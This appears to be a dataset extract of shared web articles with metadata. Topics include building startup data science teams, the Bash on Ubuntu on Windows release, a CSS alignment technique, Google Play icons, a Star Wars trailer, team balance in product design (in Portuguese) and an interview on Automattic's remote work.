We've seen the challenges of not only hiring top data scientists, but making effective use of them and retaining them in a hyper competitive market for talent. In this article, we've summarized the advice we give to founders who are interested in building data science teams. We explain why data science is so important for many startups, when companies should begin investing in it, where to put data science in their organization and how to build a culture where data science thrives. First, what are you trying to achieve? Using Data Science to Make Better Decisions Data science serves two important but distinct sets of goals: improving the products your customers use, and improving the decisions your business makes. This distinction may sound straightforward, but it's an important one to keep in mind as you establish and grow your data science team. Let's take a closer look at these two areas. Data products leverage data science to improve product performance. They rely on a virtuous cycle where products collect usage data that becomes the fodder for algorithms which in turn offer users a better experience. What happens before you've collected that data? The first version of your product has to address what data science calls the ""cold start"" problem - it has to provide a ""good enough"" experience to initiate the virtuous cycle of data collection and data-driven improvement. It's up to product managers and engineers to implement that good enough solution. For example, when an Instacart user visits the site, the application shows recently purchased groceries under a ""buy it again"" header. It's a feature that delights users, but it hardly requires data science - or much data. The data science kicks in when we want to show recommendations for products they haven't purchased before. Doing so requires analyzing all users' purchasing behavior, determining which users are similar to each other, and ultimately recommending items based on what similar users have purchased in the past. That's where data science uses data to create value, enabling customers to easily discover new products they might not have found on their own. In order to improve products, data scientists must collaborate closely and constantly with engineers. You also need to decide concretely whether data scientists implement product enhancements themselves or partner with engineers who implement them. Either approach can work, but it's important to formalize it and establish shared expectations across the organization. Otherwise, you'll struggle to get improvements into production, and you'll lose talented data scientists who feel unproductive and undervalued. Decision science uses data analysis and visualization to inform business and product decisions. The decision-maker may be anywhere in the organization - from a product manager determining how to set priorities on a road map to the executive team making bet-the-company strategic decisions. Decision science problems span a wide range, but they tend to have several characteristics. They're novel problems that the organization has not needed to solve before. They're often subjective, requiring data scientists to deal with unknown variables and missing context. They're complex, with many moving parts that lack clear causal relationships. At the same time, decision science problems are measurable and impactful - the result of making the decision is concrete and significant for the business. The above may sound a lot like data analytics, and indeed the difference between analytics and decision science isn't always clear. Still, decision science should do more than produce reports and dashboards. Data scientists shouldn't be doing work that can be delivered using off-the-shelf business intelligence tools. At LinkedIn, the executive team used decision science to make a critical business decision about the visibility of member profiles in search results. Historically, only paid users could see full profiles for everyone in their extended (third-degree) network. The visibility rules were complex, and LinkedIn wanted to simplify them - but not in a way that would undermine its revenue. The stakes were enormous. The proposed visibility model was a monthly use limit for unpaid users, with a cut-off based on usage. LinkedIn's decision scientists simulated the effects of this change, using historical behavior to predict the impact on revenue and engagement. The analysis had to extrapolate past behavior on one model to forecast behavior on a radically different one. Nonetheless, the analysis was sufficient to move forward. The result was not only positive for the business, but also delighted millions of users and eliminated a source of complexity that had been an albatross for product development. Some people complained about the limits - but those were precisely the people that LinkedIn felt should be paying to use the platform. The project was a success, thanks to the decision science that informed it. Not all decisions require the big guns of decision science. Some decisions are too small to justify the investment. Other decisions may be important, but the business could lack the data to meaningfully analyze them. In those cases, businesses need to rely on intuition and experimentation. Good decision scientists know their own limitations and recognize when their efforts would be wasteful or counterproductive. While decision science and data products call for some of the same skills, it's rare for data scientists to excel at both. Decision science depends on business and product sense, systems thinking, and strong communication skills. Data products require machine learning knowledge and production-level engineering skills. If you have a small data science team, you may need to find the rare superstars who can do both. But you'll benefit from specialization as you scale your team. Should you be investing in data science? Data science isn't right for everyone. You only want to invest in data science if it'll be critical to your success, but not if it'll just be an expensive distraction. Before you invest in building a data science team, you should ask yourself these four questions: 1. Are you committed to using data science to either inform strategic decisions or build data products? If you're not committed to using data science toward one of these goals, then don't hire data scientists. They can help you make strategic decisions, but only if you're committed to a culture of data-driven decision making. You may not need them on day one, but it takes time for you to hire the right people - and time for them to get to know your data and your business. You'll need all that to happen before they can apply data science to drive decision making. Data products can create value and delight users through improved optimization, relevance, etc. If these are on your product roadmap, you should bring data scientists in early to make the design decisions that will set you up for long-term success. Data scientists can make key decisions about product design, data collection, and systems architecture that are critical foundations for building magical-seeming products. 3. Will you have enough signal in your data to derive meaningful insights? 2. Will you be able to collect the data you need and and act on it? A founding engineer can create an MVP product with a small amount of product and design guidance. Data science requires data, which comes only with measurement and scale. Recommender systems rely on instrumenting your product to track user behavior. Optimizing business decisions depends on fine-grained measures of key activities and outputs. But collecting data isn't enough. Data science only matters if data drives action. 4. Do you need data science to be a core competency, or can you outsource it? Data should inform product changes and drive the organization's key performance indicators (KPIs). Instrumentation requires a commitment across the organization to identify what data each product needs to collect and establish the infrastructure and processes for collecting and maintaining that data. To be successful, instrumentation requires collaboration among data scientists, engineers, and product product managers - which in turn requires executive commitment. Similarly, data-driven decision making requires a top-down commitment. From the CEO down, the organization has to commit to making decisions using data, rather than based on the highest paid person's opinion ( or HiPPO). Many people equate big data to data science, but size isn't everything. Data science is about separating the signal in data from the noise. The available signal depends not only on data volume, but also on the signal-to-noise ratio. For example, an ad product may collect data from billions of impression events, but the data only carries signal in the rare cases where users interact with the ads. Hence, the large volume of data only yields a small amount of signal. No amount of data science will tease deep insights out of a big data set unless there's a critical mass of signal. Building a data science team is hard and expensive. If you can get away with outsourcing your data science needs, then you probably should. One option is to make judicious use of consultants. A better one is to use an off-the-shelf solution for your domain that uses APIs to ingest data, build models, automate actions, and report on key analytics. There may not be a solution perfectly tailored for your needs, but it's often worth compromising to accelerate your business and keep your core team focused on the areas where it can add the most value. When do you need data science to be a core competency? If data science is solving problems that are critical to your success, then you can't afford to outsource it. Also, off-the-shelf solutions tend to be rigid. If your business is taking a unique approach to a problem (e.g. collecting new kinds of data or using the results in novel ways), it's unlikely that an off-the-shelf solution will be flexible enough to adapt to it. When should you get started? Data science requires data to science, and most companies don't have much data on day one. If we were going to throw out one, overarching recommendation, it's this: After you've validated your MVP, it's time to think about investing in data science. Don't hire a head of data or build a team until you have work for them to do. At the same time, ensure you're collecting key data early on so that team can have an impact once you're ready. If you don't have data yet, then who will answer the questions of what data to acquire and when to acquire it? That person doesn't necessarily have to be a data scientist. But it had better be someone who understands the potential of different data sets and can make tough decisions about your data investment strategy. If you already know that you're going to spend a lot of money and time on data acquisition, then it's probably time for you to make at least a minimal investment in hiring a first data scientist. It's possible that you need data right away because your business is all about delivering data products. But it's more likely that your minimal viable product (MVP) won't be data-driven. Rather, you'll be betting on an instinct and seeing if the market validates that instinct. In that case, prematurely investing in data acquisition and data science will cost you precious money and time that should go toward bringing your MVP to market. Going It Alone Once you have (or quickly plan to have) data for data scientists to work with, and are ready to commit significant product, engineering and business resources to support your data science efforts, you should quickly begin building a team. It's never too early to instill a culture that values data. Business decisions, from acquisitions to product launches, should be based on data rather than opinion. One of the advantages of introducing data science into an organization sooner rather than later is that doing so helps instill data as a first-class asset. But don't rush into hiring just because data science is sexy. Given the buzz around this functional area, many people feel a sense of urgency around building a data science team. Companies with petascale ambition are eager to hire the folks who will derive insight from all that data. But building a team too early is an expensive distraction, will demotivate your talent and possibly have lasting negative cultural implications. A successful product launch should generate enough data to learn from, and you'll need to keep up with that data stream by having people on board who can extract value and insight from it. Where does data science belong in your organization? Where you introduce data science into your org structure matters a lot - for the team, for your other functions, and for the overall success of your business. There are three common approaches: a standalone team, an embedded model, and integrated teams. Each has trade-offs, so let's walk through a few possibilities. In the standalone model, your data science team acts as an autonomous unit parallel to engineering. The head of data science is a key leader and typically reports to the head of product or engineering - or even directly to the CEO. The advantage of the standalone model is autonomy. This type of data science team is well positioned to tackle whatever problems it deems most valuable. There's also a symbolic advantage to a standalone data science team: It demonstrates that the company sees data as a first-class asset, which will help them attract world-class talent. The standalone model works particularly well for decision science teams. Even though decision scientists collaborate closely with product teams, their independence helps them to make hard calls, like telling PMs that their product's metrics aren't good enough to justify a launch. Decision scientists also benefit a lot from cross-pollination, both to understand how different product metrics depend on one another and to share more general learnings about experimentation and data analysis. The flip-side of autonomy is the risk of marginalization. As companies grow and organize into product teams, they often prefer to be self-sufficient. Even when they could benefit from collaboration with data scientists, product teams simply don't want to depend on resources they don't control. Instead, they rely on themselves - even hiring their own data scientists under other names like ""research engineers"" - to get things done. If product teams refuse to work with the standalone data science team, then that team becomes marginalized and ineffective. Again, that's when you start losing good talent. The original data science team at LinkedIn was a standalone team, and the team's autonomy allowed it to make key contributions across LinkedIn's products, in areas ranging from improving the quality ""people you may know"" to detecting fraudulent accounts. But as LinkedIn grew, it became increasingly difficult for a standalone team to collaborate effectively with product teams, especially as those teams hired their own engineers with similar skill sets. Eventually LinkedIn decided there was no longer a need for its standalone team. This is a very likely outcome. The Virtues of Embedding Full Integration In an embedded model, the data science team brings in talented people and farms them out to the rest of the company. There's still a head of data science, but he or she is mostly a hiring manager and coach. The embedded model is the polar opposite of the standalone model: It gives up autonomy to ensure utility. In the best case, data scientists join the product teams that most need their services, and get to work on a wide variety of problems throughout the organization. The downside of the embedded model is that not all data scientists are happy giving up autonomy (in fact, many are not good at it at all). Data scientist job descriptions emphasize creativity and initiative, and embedded roles often require them to defer to the leadership of the teams in which they are embedded. There's a risk that your data scientists will feel like second-class citizens as embedded team members - their product leads don't feel responsible for their growth and happiness, while their managers won't feel directly vested in their work. We've seen some companies embed data science managers, but this approach only works once you have a fairly large data science team. At LinkedIn, Daniel experienced the pros and cons of the embedded model. Actually the decision science team there has long thrived with its embedded model. Decision scientists ensure that product teams make decisions - particularly launch decisions - informed by data. At the same time, having a centralized organization facilitates knowledge sharing and career development. But, as mentioned earlier, the standalone data products team was not as successful as the organization scaled. Ultimately, LinkedIn decided to fold product data science into engineering, and Daniel himself moved into an engineering role to lead an integrated team responsible for search quality, an area that requires super tight collaboration between engineers and data scientists. In an integrated model, there's no separate data science team at all. Instead, product teams hire and manage their own data scientists. This optimizes for organizational alignment. By making data scientists first-class members of their product teams, it addresses the downsides of the standalone and embedded models. To the extent that data scientists, software engineers, designers, and product managers work on shared product goals, the integrated model instills collective team ownership of those goals. This is how you avoid the breakdowns that can occur when narrowly focused functional teams diverge in their goals and end up mired in dependencies that are too often ignored or delayed. The downside of the integrated model is that it dilutes the identity of data science. Individual data scientists identify with their associated product teams, rather than a centralized data science team. You also sacrifice the flexibility of the embedded model, since it's harder to move people around based on their skills and interests. Finally, the integrated model can create challenges for scientists' career growth, since the manager of an integrated team may not be in the best position to value or reward their accomplishments. At Instacart, data science is fully integrated into product teams. Those teams own their product domain - which could be the real-time order fulfillment engine, the application used by shoppers when picking groceries or the search and recommendation services (there are 15 of these teams). Each is a mixture of engineers, data scientists, designers and product managers, and the engineers and data scientists both report into a technical lead - who may themselves be an engineer or a data scientist. This structure ensures that the engineers and data scientists collaborate closely - and they are empowered to do whatever's needed to achieve their team's objectives. As the VP of Data Science, Jeremy is a mentor and coach to the data scientists and their team leads. He brings the team together into a community that spans product teams. And he leads organization wide data science initiatives. Each of the three models has its pros and cons, and you have to figure out which one is best for your organization - plus how you want it to evolve. Be ready to adapt as your needs change. Sometimes the best approach isn't a single model but a hybrid. As Andy Grove wrote in High Output Management : Good management is a reconciliation of centralization and decentralization - a balancing act to get the best combination of responsiveness and leverage. How to build a culture where data science thrives As your organization and ambitions continue to grow, you'll inevitably want to hire even more data scientists ( Jeremy wrote another popular article focused purely on this ). Build a company culture early that makes it a great place to practice data science, and you'll reap dividends when they matter most. Many organizations claim to be data-driven. They collect a lot of data, invest money in data engineering, and frequently reference data rich dashboards. But they fall short. Actions speak louder than words, and data science will only feel valued in an organization that makes decisions based on data. Companies must build the backbone and the credibility that they will make decisions based on data even when they run counter to popular wisdom or lead to significant shifts in power in the organization. These are the opportunities where data science can have the greatest impact. Data scientists, like everyone else, want their work to have recognizable and celebrated impact. Making this happen creates a positive feedback loop where data scientists remain motivated to tackle big problems and ensure that their solutions are measurable. Recognizing the contributions of data scientists can be difficult - especially when they're in integrated teams. Your data science leader needs to remain a champion of excellence and impact, and the senior executives at the company should seek to understand and appreciate the impact that data scientists are having on a regular basis. Not just every now and again. In many ways, data science takes a village - a data scientist in a vacuum can achieve nothing. Unless they collaborate closely with product managers, engineers and designers, they will not create amazing products, and unless leaders and operators value their insights, their recommendations may never affect change. When Jeremy first joined as a data leader at Sailthru , its engineering organization had a neutral perception of data science. In order to increase everyone's buy-in, he spent 30% of his time in his first 2 months creating and teaching a class to the engineering organization on statistical learning. By making all of his examples use Sailthru data, and engaging the engineers in the process of building data driven products, the class rapidly accelerated the process of turning the organization's perception of data science around. That investment of time was costly - especially in those formative months. But having engineers who were excited about the potential of data science as collaborators was well worth the investment. Despite its name, this discipline can be as much an art as a science. Not everything can be measured, and we're limited by our algorithms, our computational resources, and our ingenuity. Over time, the impact that a data science team has will be far higher if you build a diverse team with extremely different backgrounds, skill-sets, and world views. This will ensure they think as holistically as possible about their domain, and will encourage creativity and innovation over time. Finally, focus early on hiring data scientists who reflect your company ideals. To be effective, data scientists must be trusted by their teams, the users of their products, and the decision makers they influence. As you build your team, hire for and reward individuals with integrity - who share the values of your organization. Their impact is tremendous, and, for better or worse, they'll make many decisions that will shape your company's future.",en
1460029138,CONTENT SHARED,-8962700386317589038,-2979881261169775358,-1318435891707169353,,,,HTML,https://blogs.msdn.microsoft.com/commandline/2016/04/06/bash-on-ubuntu-on-windows-download-now-3/,Bash on Ubuntu on Windows - Download Now!,"At //Build 2016, Microsoft announced the ability to run native Bash and GNU/Linux command-line tools directly on the new Windows Subsystem for Linux (WSL), coming soon to Windows 10 Anniversary Update builds. We've been amazed by the overwhelming outpouring of interest about this new feature over the last week. One of the most frequent questions we're asked is "" When can I get my hands on Bash on Ubuntu on Windows? "" We've held-off giving a date until we were 100% sure it's available ... but that date is NOW! Gabe Aul has just announced the release of the Windows 10 build #14316 to the Windows Insiders Fast-Ring. This build contains the first public release of Bash on Ubuntu on Windows and the underlying Windows Subsystem for Linux. Installing Bash on Ubuntu on Windows Once you're upgraded to this new build, you'll need to complete the installation steps summarized below: Turn on Developer Mode: Settings | Update & Security | For Developers | Check the Developer Mode radio button: From the start menu, open ""Turn Windows Features on or off"": Scroll down and check the ""Windows Subsystem for Linux (Beta)"" feature: Hit okay and reboot (required step) Once rebooted, open a PowerShell/command prompt and run ""Bash"" and follow the simple prompts to accept Canonical's license and kick-off the download of the Ubuntu image: After download has completed, you'll be able to start ""Bash on Ubuntu on Windows"" from the Start menu: Enjoy! Related Release Notes As we've repeatedly stated, this is the first time we've released this feature and we know there will be issues - be sure to share your feedback via the channels below We do know of an issue that crashes settings if you're running Windows 10 ""N"" SKU's - we're working on a fix for this problem in future builds In this build, Bash will show you running under the 'root' Linux user account This does NOT give Bash elevated permissions within Windows, unless you run Bash as Administrator This means that, by default, from within Bash, you will only have access to Windows files and folders that your current Windows user account has rights to In future builds, you'll be asked to create a user account when installing Bash. You'll then be able to use sudo to elevate your rights within the Linux filesystem/environment Share Your Feedback We can't wait to hear your feedback - please be sure to share your thoughts via the channels below: Issues : Please post issues to our GitHub issues project . If you're not familiar with using/writing GitHub issues, please read this guide Ideas/Asks : Please upvote/add ideas, asks, etc. to our UserVoice forum Anything else, feel free to ping @richturn_ms on Twitter",en
1460029172,CONTENT SHARED,-2375266175756882986,-2979881261169775358,-1318435891707169353,,,,HTML,http://nocode.in/aligning-text-smartly-in-css/,Aligning text smartly in CSS,"CSS smart Justify text-align Have you ever thought of aligning text smartly in CSS? You must try now. No there is no CSS property text-align:smart or smartly Let's see an example Here we are trying to achieve text-align: left when the text is more than one line in the given container. This is very simple to achieve. Now we want to make the same text align center if its well fitted in a single line. Here's what we can do by pure css without using javascript Codepen Demo : Aligning Text Smartly in CSS How it works? This not only works with figure and figcaption . It works very well with any nested element like a <p> within a <div> . When we are setting the parent container to text-align: center , we are saying the parent container to make all inline elements to align horizontally center. So all child inline elements will obey the rule including inline-blocks as well. In the above example we have set figcaption as inline-block. This is what makes it align centered. As we know that inline-block elements grow wider max till 100%(considering padding and no width defined) of its parent based on its content. When the content text of figcaption is less, it's aligned center by virtue of the property text-align:center defined on its parent figure . Check this post to know more about inline-block elements behavior As the text of figcaption grows into multiple lines, it keeps widening to the max width of its parent figure width. Now the magic starts! text-align: left; defined on figcaption makes the content text left aligned. In reality, figcaption is always aligned center but its not obvious as it has attained the max width of its parent. Hope you have enjoyed this article, and follow me on twitter @sharmavijay for all the awesome blogs. Visit www.nocode.in for more interesting posts.",en
1460029949,CONTENT SHARED,-7777013191403056825,3375381077362025672,-5298043799332097898,,,,HTML,http://officialandroid.blogspot.com.br/2016/04/a-new-look-for-google-play-family-of-apps.html,A new look for Google Play family of apps,"Whether you like watching Despicable Me on Google Play Movies & TV, streaming ""Sorry"" on Play Music, battling your friend in Clash Royale on Play Games or reading John Grisham's latest on Play Books, Google Play is your home for the best apps, games and digital entertainment. Since launching Google Play four years ago, we've always had dedicated apps in addition to the Google Play store. Today, all our icons are getting an update to provide a consistent look across the entire family of Play apps. You'll start to see the new Google Play icons across devices and online in the coming weeks. We hope you'll continue enjoying the Play family of products-now with a new look. Posted by Jonathan Chung, Visual Design Lead, Google Play",en
1460033849,CONTENT SHARED,2293315701090958124,6003902177042843076,-6427127689908138982,,,,HTML,http://techcrunch.com/2016/04/07/heres-the-first-full-trailer-for-the-next-star-wars-movie-rogue-one/,"Here's the first full trailer for the next Star Wars movie, Rogue One","Hey. You. On the computer. You heard about this Star Wars thing? I'm told it's pretty popular with the kids these days. It's a movie series, you see, about -- JUST KIDDING, HOLY CRAP EVERYONE, NEW STAR WARS . It might seem like the hypetrain for the last Star Wars movie is just starting to slow (the home release was literally two days ago , after all), but the next Star Wars movie is right around the corner. It's coming out December 16th, 2016. ""Next"" in order of release, at least - but not in terms of the story's timeline. Rogue One: A Star Wars Story will actually take place immediately before A New Hope ... just don't expect them to use the word ""prequel"" anywhere near this one. This one will be the first Star Wars Anthology film, meant to be a stand-alone story that ties back to the main series but isn't directly a part of it. In this case, they're explaining how the rebels got their hands on the plans for the Death Star. Hours after releasing ONE FRIGGIN' SECOND of the movie as a sort of teaser trailer for the teaser trailer, the first full trailer for Rogue One is . And here it is:",en
1460035676,CONTENT REMOVED,2293315701090958124,6003902177042843076,-6427127689908138982,,,,HTML,http://techcrunch.com/2016/04/07/heres-the-first-full-trailer-for-the-next-star-wars-movie-rogue-one/,"Here's the first full trailer for the next Star Wars movie, Rogue One","Hey. You. On the computer. You heard about this Star Wars thing? I'm told it's pretty popular with the kids these days. It's a movie series, you see, about -- JUST KIDDING, HOLY CRAP EVERYONE, NEW STAR WARS . It might seem like the hypetrain for the last Star Wars movie is just starting to slow (the home release was literally two days ago , after all), but the next Star Wars movie is right around the corner. It's coming out December 16th, 2016. ""Next"" in order of release, at least - but not in terms of the story's timeline. Rogue One: A Star Wars Story will actually take place immediately before A New Hope ... just don't expect them to use the word ""prequel"" anywhere near this one. This one will be the first Star Wars Anthology film, meant to be a stand-alone story that ties back to the main series but isn't directly a part of it. In this case, they're explaining how the rebels got their hands on the plans for the Death Star. Hours after releasing ONE FRIGGIN' SECOND of the movie as a sort of teaser trailer for the teaser trailer, the first full trailer for Rogue One is . And here it is:",en
1460038639,CONTENT SHARED,374352050712569304,1895326251577378793,-3394884316493790889,,,,HTML,http://arquiteturadeinformacao.com/user-experience/o-tenue-equilibrio-da-equipe-que-desenha-produtos-digitais/,O tênue equilíbrio da equipe que desenha produtos digitais,"É sempre fascinante escutar os relatos com riqueza de detalhes que as pessoas contam sobre a concepção, desenvolvimento e lançamento de um novo produto ou serviço, seja em uma grande empresa ou pequena de amigos. Todavia, existe uma questão intrínseca na concepção de produtos, que é vital para o sucesso, mas que para algumas pessoas, passa despercebida quando a solução já está no mercado. Podemos chamar esta questão de ""equilíbrio dos elementos"" de uma equipe de produto. Hoje, muitas empresas de diferentes portes trabalham com equipes multidisciplinares e isso é cada vez mais comum em todos os nichos de mercado, principalmente porque diferentes profissionais com experiências distintas, apresentam maior probabilidade de alcançar o máximo de inovação em soluções para os projetos. Entretanto, alinhar uma equipe em prol de um objetivo universal e com responsabilidades claras é um desafio permanente pelo qual todos que trabalham com produtos ou serviços, seja digital ou físico, já passaram ou vão passar algum dia. O que torna crítico o entendimento dos papéis envolvidos nesse processo, suas armadilhas e as idiossincrasias de cada área. Partindo da ótica de equipes de produtos digitais, habitualmente temos três grupos chaves que trabalham em conjunto: negócios, design e desenvolvimento. Se você trabalha no ramo há algum tempo já deve ter visto variações dos termos, ao invés de negócios, product management ou ao invés de design, setor de criação e assim por diante. Esses três elementos formam o núcleo responsável por boa parte dos produtos que existem hoje no mercado de varejo digital, desde um website à uma aplicação multiplataforma. Alguns exemplos de nomes que as empresas costumam utilizar: Em toda equipe, obviamente, existe algum tipo de conflito seja ela multidisciplinar ou não, mas aqui exploraremos os mais comuns em cada um dos núcleos. Vamos notar que boa parte nasce do pouco entrosamento das equipes. Uma raiz comum de conflitos é falta de entendimento do que é ""trabalho em equipe"". Considerando a educação formal o ponto de partida para o trabalho que exercemos hoje, infelizmente boa parte de nós saiu de escolas e/ou faculdades fazendo trabalhos em grupo, sem o foco no que realmente importa, a colaboração e sintonia entre as pessoas, que é a essência do trabalho em equipe. Podemos dizer inclusive, que os trabalhos em equipe mais essenciais são executados por times esportivos ou integrantes de uma força militar, porque em ambos os exemplos, se o time não estiver em sintonia dificilmente ganhará a partida ou a batalha. Pode-se pensar também que a cultura de certas empresas espera que seu comportamento seja ""competitivo"" de acordo com as metas estabelecidas aos colaboradores, mas não se pode esquecer que a cultura é feita de pessoas e essas podem trazer o seu melhor, com o engajamento certo. Listo aqui, as principais situações que pude vivenciar e/ou presenciar em equipes de desenvolvimento de produtos. Esses exemplos apresentam nuances para cada time ou empresa. Infelizmente os desequilíbrios se repetem, contribuindo para a saturação dos três elementos principais e em alguns casos extremos podem até gerar a dissolução de equipes. Desequílibrio em Negócios Negócios ou Gerência é naturalmente a ponta com maior força, não só pelas atribuições de liderança ou planejamento do produto, mas porque é onde são armazenados e interpretados os números mais relevantes do produto para a companhia: vendas! Os números de vendas ou dados relevantes não são comunicados periodicamente - parece óbvio deixar a equipe na mesma sintonia, sempre respeitando o devido sigilo a cada tipo de produto, mas alguns tipos de gerenciamento de produto preferem manter a discrição dos dados, essa preferência é um equívoco, principalmente quando os demais membros da equipe só tomam conhecimento dos números em uma reunião de urgência. Esse tipo de ""informação estratégica"" revelada em cima da hora, pode ser motivo de muito estresse para a equipe. Não são definidos os principais índices de performance do produto (KPIs) - é interessante frisar esse fator, pois os índices devem existir em qualquer planejamento de produto, portanto se ele não existe é preciso rever como o projeto está sendo gerenciado, pois impactará o que se espera que a equipe entregue. O planejamento/roadmap do produto vem pronto - talvez esse seja o fator mais contraditório, nos atuais tempos de implantação em massa de . O ato de conceber ou planejar um produto sem ajuda da equipe que vai desenvolvê-lo é algo muito arriscado, pois a capacidade técnica e o tempo dos envolvidos influencia na qualidade e nos prazos de entrega das soluções prometidas. Desequílibrio em Desenvolvimento A área de Desenvolvimento já foi considerada o coração e a mente de empresas de tecnologia de renome. No entanto, a tecnologia é o elemento que tem mais interdependência dos demais elementos da equipe, pois é uma área que requer um direcionamento ou objetivo ligado às necessidades das pessoas e isso é algo que dificilmente nasce da própria tecnologia em si. O produto é projetado apenas com as tecnologias vigentes - de acordo com o desafio proposto pelo produto, é necessário testar novas soluções tecnológicas ou a mescla de linguagens de programação, mas algumas equipes técnicas dificultam esse processo, pois isso requer mais horas de estudos, mudança de infra-estrutura ou planejamento para implementação em larga escala e diversas correções de bugs. As interfaces são baseadas em máquina-máquina e não homem-máquina - algumas companhias, para agilizar seu processo produtivo, utilizam frameworks ou configurações padrões de software, porém algumas vezes esses ""comportamentos"" não atendem de forma assertiva os usuários daquele produto. Padrões agilizam o desenvolvimento, mas para se ter certeza de como as pessoas interagem não existe atalho, só testando com potenciais ou reais usuários do produto. A tecnologia dita o ritmo de todas as etapas do produto - é sabido que a tecnologia dita o ritmo hoje das inovações, mas nem sempre seus potenciais usuários ou clientes estão dispostos a absorvê-la com toda a sede que você gostariam de vender. Além disso, nem todos os processos do desenvolvimento do produto são quantitativos, passíveis de serem resolvidos em segundos por um algoritmo O fator humano deve ser considerado, mesmo que isso signifique que seus desenvolvedores devam ficar parados em uma sprint. Desequílibrio em Design Apesar da área de gerência/negócios ter noções da importância de prover a melhor experiência para seus clientes, existe um conflito de interesses na medida em que Negócio é cobrado pelo ""o que"" vai ser feito, enquanto Design é cobrado por ""como"" vai chegar ao cliente. Os papéis apresentam algumas sobreposições, porém as demandas e/ou expertises tem pontos de vista distintos sob o produto. As pesquisas não são estratégicas para o produto - algumas técnicas apresentam grande versatilidade de aplicação. Todavia é tentador para os profissionais da área escolherem técnicas por costume ou por confiança na execução, somando pouco ao produto final. Falta de foco no que causa maior impacto - o problema desse desequilíbrio é fazer com o que o produto possa apresentar apenas melhorias estéticas e sem impacto para as demais áreas envolvidas ou inovações. Importante também, correlacionar as metas do produto com as pesquisas ou técnicas aplicadas, para que os demais comecem a entender o valor da melhor experiência do usuário. O designer pensa as soluções sozinho - agindo de forma independente sem a colaboração ou compartilhamento de ideias com os demais elementos, a possibilidade de soluções inatingíveis ou apenas conceituais ocorrem com frequência, além disso podem minar a construção da visão de uma empresa centrada no usuário. Na tentativa de gerar inovação e uma real perspectiva dos clientes, algumas empresas como AirBnb tem colocado a gerência/negócios para cuidar do ponto de vista do cliente , o que talvez ocasione um conflito de interesses, já que esse setor está impregnado com a visão da melhor forma de vender mais, onde não raramente isso pode afetar a privacidade, paciência e a melhor experiência de uso para os clientes. Indo além do desequilíbrio Sabe-se também que viabilizar equipes de produto em equilíbrio é difícil e existem até convenções que promovem debates sobre isso. Portanto, uma grande equipe não é apenas medida pela velocidade de entrega das tarefas ou a qualidade do produto no mercado e sim a harmonia e colaboração dos elementos envolvidos, dirimindo os deslizes mais comuns e tornando os produtos significativos para as pessoas que o desenvolveram. O trabalho em equipe precisa ser discutido mais vezes pelos profissionais de produtos digitais, porque poucas pessoas que trabalham no desenvolvimento de produtos entendem que o equilíbrio desses três elementos é o que torna o produto/serviço algo significativo para os membros da equipe. Portanto, sem o engajamento que surge do ""pertencimento"" a algo que ""vale a pena"", com uma visão concreta de valor, há grandes chances de ocorrerem inúmeros conflitos ou desmotivação da equipe ao longo do processo. Contudo, o equilíbrio desses três elementos é almejado, mas poucas vezes é algo alcançado sem o empenho de todos envolvidos, pois cada uma das pontas tem um ponto de vista que precisa ser complementado com os outros elementos, talvez a empatia seja a melhor representação do centro dos três elementos. E qualquer um pode começar hoje essa mudança no seu local de trabalho, através de uma simples e direta comunicação, indo além dos problemas de transparência ou hierarquia em prol de um melhor dia-dia. Boa sorte na sua jornada! Se interessou pelo assunto?",pt
1460040931,CONTENT SHARED,-3299064309968644318,6644119361202586331,-4954296966866305480,,,,HTML,http://www.inc.com/glenn-leibowitz/meet-the-ceo-running-a-billion-dollar-company-with-no-offices-or-email.html,This CEO Runs a Billion-Dollar Company With No Offices or Email,"Even if you aren't familiar with what WordPress is, or use it to publish content on the internet, there's a good chance you've visited a website that runs on it--and probably within just the past 24 hours. That's because WordPress--an open-source content-management system--powers an astonishing 25 percent of all websites today. I recently spoke with Matt Mullenweg , the creator of WordPress and CEO of Automattic , the company that offers a range of products and services for WordPress users. Automattic is valued today at over $1 billion. Matt joined me for a wide-ranging conversation on my podcast , in which he shared his aspiration to capture the 75 percent of the internet that WordPress doesn't already manage. He also explained how his 400-person team works largely from home or in co-located offices in 43 countries, and relies almost entirely on an internal blogging platform for communication and collaboration--while avoiding the use of email. The following are excerpts from my conversation with Matt, which you can listen to in full on my podcast . Automattic's mission is to democratize publishing. Where do you think you are today in terms of achieving that? It's probably a lifelong mission, to be honest. The idea is to give everyone, regardless of what language you speak or how much money you have, the ability to have a voice online using the best software in the world. You or I can download and publish using the exact same software that The New Yorker uses for newyorker.com. And I think that is relatively unique in the history of the world. We don't have access to the same printing press as The New York Times , but in the digital world we can have the same software as The New Yorker . You've been a fierce advocate for the open-source movement. What's the state of play today with the movement? Right now, we power about 25 percent of all websites--the largest of any of the content-management systems. The number two has around 3 percent. But we are not happy that we have just 25 percent, and we see a lot of work to get the remaining 75 percent. Certainly, our near-term goal for WordPress is to try to get to a majority because I feel when a majority of the web is driven by open-source software, that will drive the web to be a better place. It'll be more open, more inclusive, with fewer closed gardens and silos, and it will drive as well the proprietary folks to be more open. You've got a highly decentralized, dispersed work force spanning the globe--people working from home and, for the most part, never stepping foot into an office. How is that working out? Automattic is a totally distributed company, so everyone works from wherever they are in the world. It could be a coffee shop, it could be their home, it could be a co-working space. We hire people regardless of where they are. We now have folks in just over 40 countries. This has been amazing for the company in that we can attract and retain the best talent without them having to be in New York or San Francisco or one of the traditional tech enters. So far this model has worked extraordinarily well, and we plan to continue it. The ""Automattic creed"" states that communication is the ""oxygen"" for a distributed company. For a long time, you've used a blog theme called P2 for internal communication and collaboration. And for the most part, you avoid using email for communication inside Automattic. I think email is definitely on its way out, between things like P2 and Slack , which is a work place chat tool. Email just has so many things wrong with it. I've never heard anyone who've said they love email, they want more of it--have you? Imagine if, in your company, instead of email, everyone could post and comment on a blog. Different groups or teams could have their own space on it, but fundamentally everything was tagged and traceable and transparent. That's kind of what P2 looks like. P2 also has its own sort of internal Google alerts, so you can keep up with everyone without having to read everything that goes by. It's free actually, so go check out p2theme.com . I invite anyone to try it out. Why is knowing how to write well so important at Automattic? Skill in writing is one of the things I look for the most in hiring, because I feel that clear writing represents clear thinking, regardless of someone's background, or whether they're a designer or coder or whatever. The ability to communicate effectively and clearly in written form is not only super important in a distributed company, but I think reflects well on how they approach life in general. Part of the reason I started blogging and started working on WordPress was because I love writing. If I can become a better writer, perhaps I can become a better thinker.",en
